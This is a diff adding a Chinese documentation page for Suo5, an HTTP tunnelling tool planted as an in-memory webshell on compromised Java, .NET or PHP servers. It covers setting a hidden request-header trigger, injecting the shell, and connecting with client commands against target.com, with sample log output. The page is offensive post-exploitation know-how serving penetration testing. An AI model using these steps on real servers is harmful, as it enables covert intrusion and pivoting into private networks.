|
| 1 | +--- |
| 2 | +title: Suo5 |
| 3 | +description: Suo5 是一款久经实战检验的高性能 HTTP 正向代理工具,持续打磨只为解决一个需求:不出网场景下的稳定正向代理。 |
| 4 | +--- |
| 5 | + |
| 6 | +import { Step, Steps } from 'fumadocs-ui/components/steps'; |
| 7 | + |
| 8 | +<Callout type="info">项目地址:https://github.com/zema1/suo5</Callout> |
| 9 | +<Callout type="success">原理介绍:[https://koalr.me/posts/suo5-a-hign-performace-http-socks/](https://web.archive.org/web/20250430113018/https://koalr.me/posts/suo5-a-hign-performace-http-socks/)</Callout> |
| 10 | + |
| 11 | + |
| 12 | + |
| 13 | + |
| 14 | + |
| 15 | +## Suo5 v2 版本主要特性 |
| 16 | + |
| 17 | +- **优异的传输性能** |
| 18 | + - 全双工:借助双向 Chunked-Encoding 实现单连接双向通信,传输性能接近 FRP |
| 19 | + - 半双工:下行长连接 + 上行短连接实现,在 Nginx 反代场景下仍可保持良好性能 |
| 20 | + - 短链接:上下行均使用短连接,适配多层反代和严格限制长连接的场景,作为兜底方案 |
| 21 | +- **良好的服务端兼容性** |
| 22 | + - Java 支持 Tomcat、WebLogic、JBoss、Resin 等主流中间件,JDK6 ~ JDK 2x 全版本支持 |
| 23 | + - .Net 支持 IIS 下所有 .Net Framework 版本 (>=2.0) |
| 24 | + - PHP 支持 Nginx/Apache 等服务器环境,PHP 5.6 ~ PHP 8.x 全版本支持 |
| 25 | +- **复杂网络环境支持** |
| 26 | + - 支持一层、两层、多层反向代理下的稳定连接 |
| 27 | + - 支持通过流量转发和请求重试来支持负载均衡场景 |
| 28 | + - 支持配置上游代理(HTTP/SOCKS5) |
| 29 | +- **稳定可靠的工程实现** |
| 30 | + - 正确可靠的连接控制、并发管理、心跳保活、异常重连等 |
| 31 | + - 完善的单元测试和集成测试保障质量 |
| 32 | + |
| 33 | +## 使用步骤 |
| 34 | + |
| 35 | +<Steps> |
| 36 | +<Step> |
| 37 | +### 选择 Suo5/Suo5v2 内存马工具 |
| 38 | + |
| 39 | +Suo5 目前有 [1.x](https://github.com/zema1/suo5/releases/tag/v1.3.1) 版本和 [2.x](https://github.com/zema1/suo5/releases/tag/v2.0.0) 版本,由于改动较大,因此做了两个不同的版本适配。 |
| 40 | + |
| 41 | + |
| 42 | + |
| 43 | +</Step> |
| 44 | +<Step> |
| 45 | +### 设置流量入口特征 |
| 46 | + |
| 47 | +为了防止正常业务进入 Suo5 内存马影响到正常业务,需要指定流量特征进入 Suo5 内存马逻辑处理,此处使用特定请求头和请求值来标识,默认情况下是 User-Agent,请求值会随机生成 |
| 48 | + |
| 49 | + |
| 50 | + |
| 51 | +</Step> |
| 52 | +<Step> |
| 53 | +### 生成并注入 |
| 54 | + |
| 55 | +选取合适的打包方式,并进行内存马的注入。 |
| 56 | + |
| 57 | +</Step> |
| 58 | +<Step> |
| 59 | +### 连接与使用 |
| 60 | + |
| 61 | +在 [zema1/suo5/releases](https://github.com/zema1/suo5/releases) 下载合适的 suo5 客户端 |
| 62 | + |
| 63 | +1. 如果请求头使用默认的 User-Agent,则直接通过 `--ua "xXksjas"` 来指定即可,假设生成的为 `User-Agent: xXksjas`,则通过以下命令进行连接 |
| 64 | +```bash |
| 65 | +$ ./suo5 -t http://target.com/suo5.jsp --ua "xXksjas" |
| 66 | +... |
| 67 | +[INFO] 14:28 connecting to target http://target.com/suo5.jsp |
| 68 | +[INFO] 14:28 preferred connection mode: half |
| 69 | +[INFO] 14:28 handshake success, using session id 05q21upecl90yccl |
| 70 | +[INFO] 14:28 suo5 is going to work on half mode |
| 71 | +[INFO] 14:28 starting tunnel at 127.0.0.1:1111 |
| 72 | +[INFO] 14:28 creating a test connection to the remote target |
| 73 | +[INFO] 14:28 start connection to 127.0.0.1:0 |
| 74 | +[INFO] 14:28 successfully connected to 127.0.0.1:0 |
| 75 | +[INFO] 14:28 connection closed, 127.0.0.1:0 |
| 76 | +[INFO] 14:28 congratulations! everything works fine |
| 77 | +``` |
| 78 | +2. 如果请求头使用其他,例如 Referer,则需要使用 `-H "Referer: xXksjas"` 来连接,例如 |
| 79 | +```bash |
| 80 | +$ ./suo5 -t http://target.com/suo5.jsp -H "Referer: xXksjas" |
| 81 | +... |
| 82 | +[INFO] 14:28 connecting to target http://target.com/suo5.jsp |
| 83 | +[INFO] 14:28 preferred connection mode: half |
| 84 | +[INFO] 14:28 handshake success, using session id 05q21upecl90yccl |
| 85 | +[INFO] 14:28 suo5 is going to work on half mode |
| 86 | +[INFO] 14:28 starting tunnel at 127.0.0.1:1111 |
| 87 | +[INFO] 14:28 creating a test connection to the remote target |
| 88 | +[INFO] 14:28 start connection to 127.0.0.1:0 |
| 89 | +[INFO] 14:28 successfully connected to 127.0.0.1:0 |
| 90 | +[INFO] 14:28 connection closed, 127.0.0.1:0 |
| 91 | +[INFO] 14:28 congratulations! everything works fine |
| 92 | +``` |
| 93 | + |
| 94 | +3. 后续的用法可参考官方仓库给出的 [Suo5 使用指南](https://github.com/zema1/suo5#%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97) |
| 95 | +</Step> |
| 96 | +</Steps> |
0 commit comments